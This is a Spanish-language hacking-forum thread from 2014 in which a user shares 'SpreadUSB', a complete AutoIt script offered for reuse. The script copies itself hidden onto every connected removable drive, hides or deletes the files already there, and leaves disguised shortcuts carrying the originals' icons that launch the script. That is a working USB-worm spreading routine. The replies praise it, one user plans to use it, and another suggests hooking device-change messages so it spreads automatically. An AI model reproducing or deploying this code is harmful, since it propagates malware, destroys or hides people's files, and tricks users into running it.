Página 1 de 1

SpreadUSB

Publicado: 14 Mar 2014, 19:07
por Naker90
Hola, Aquí les dejo este Spread para USB. La función para extraer el icono no es mía la encontré en autoitscript.com pero no se quien es el autor, no lo ponía.
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function:
	Esparcir un archivo a los perifericos USB conectados al equipo

 Parametro:
	$sHideOrDelete  =>  Si este parametro es 0 los archivos que se encuentran dentro del USB seran ocultados, de lo contario
						si este parametro es distinto de 0 los archivos seran borrados

#ce ----------------------------------------------------------------------------
#include <File.au3>
#include <GDIPlus.au3>

Func Spread_USB($sHideOrDelete)

	Local $sUSB = Detect_USB()

	If $sUSB = '' Then
		Exit
	Else

		Local $sArray = StringSplit($sUSB, '@')

		For $i = 0 To UBound($sArray) - 1

			If Not FileExists($sArray[$i] & '\' & @ScriptName) Then

				Local $sFiles = _FileListToArray($sArray[$i] & '\')

				For $si = 1 To UBound($sFiles) - 1

					_ExtractIcon($sArray[$i] & '\' & $sFiles[$si], $sArray[$i] & '\Icon' & $si & '.ico', 1)
					DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\Icon' & $si & '.ico', 'dword', 0x2)
					FileCreateShortcut($sArray[$i] & '\' & @ScriptName, $sArray[$i] & '\' & $sFiles[$si] & '.lnk', '', '', '', $sArray[$i] & '\Icon' & $si & '.ico')

					If $sHideOrDelete <> 0 Then
						FileDelete($sArray[$i] & '\' & $sFiles[$si])
					Else
						DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\' & $sFiles[$si], 'dword', 0x2)
					EndIf

				Next

				FileCopy(@ScriptFullPath, $sArray[$i] & '\' & @ScriptName)
				DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\' & @ScriptName, 'dword', 0x2)

			EndIf

		Next

	EndIf

EndFunc   ;==>Spread_USB

Func _ExtractIcon($source, $outsource, $iconnumber)

	$Ret = DllCall("shell32", "long", "ExtractAssociatedIcon", "int", 0, "str", $source, "int*", $iconnumber)
	$hIcon = $Ret[0]

	_GDIPlus_Startup()

	$pBitmapdll = DllCall($ghGDIPDll, "int", "GdipCreateBitmapFromHICON", "ptr", $hIcon, "int*", 0)
	$pBitmap = $pBitmapdll[2]

	_WinAPI_DestroyIcon($Ret[0])

	_GDIPlus_ImageSaveToFileEx($pBitmap, $outsource, "{557CF400-1A04-11D3-9A73-0000F81EF32E}")

	_GDIPlus_ImageDispose($pBitmap)

	_GDIPlus_Shutdown()

EndFunc   ;==>_ExtractIconFromExe

Func Detect_USB()

	Local $sReturn
	Local $sDriver = DriveGetDrive('REMOVABLE')

	If $sDriver <> 0 Then
		For $i = 1 To $sDriver[0]
			$sReturn = $sReturn & $sDriver[$i] & '@'
		Next
	EndIf

	Return StringUpper($sReturn)

EndFunc   ;==>Detect_USB
Saludos

Re: SpreadUSB

Publicado: 14 Mar 2014, 19:41
por Filisko
Buen code, igual lo uso, ¿es tuyo? (para en caso de usarlo)

Re: SpreadUSB

Publicado: 14 Mar 2014, 19:44
por Naker90
Filisko escribió:Buen code, igual lo uso, ¿es tuyo? (para en caso de usarlo)
Si es mio, salvo la función de extraer el icono (_ExtractIcon)
Saludos

Re: SpreadUSB

Publicado: 14 Mar 2014, 21:11
por Pink
Muy bueno gracias. solo faltaria registrar el mensaje WM_DEVICECHANGE.
SetFileAttributes return value check (Bool) ;)

Saludos

Re: SpreadUSB

Publicado: 14 Mar 2014, 22:09
por Filisko
Naker90 escribió:
Filisko escribió:Buen code, igual lo uso, ¿es tuyo? (para en caso de usarlo)
Si es mio, salvo la función de extraer el icono (_ExtractIcon)
Saludos
Vale, gracias ;)

Re: SpreadUSB

Publicado: 07 Jun 2014, 01:28
por Kaway
Gracias !

Re: SpreadUSB

Publicado: 07 Jun 2014, 12:33
por Prestigio
Naker, le pones esfuerzo a tus trabajos, me gusta como trabajas, sin animo de lucro.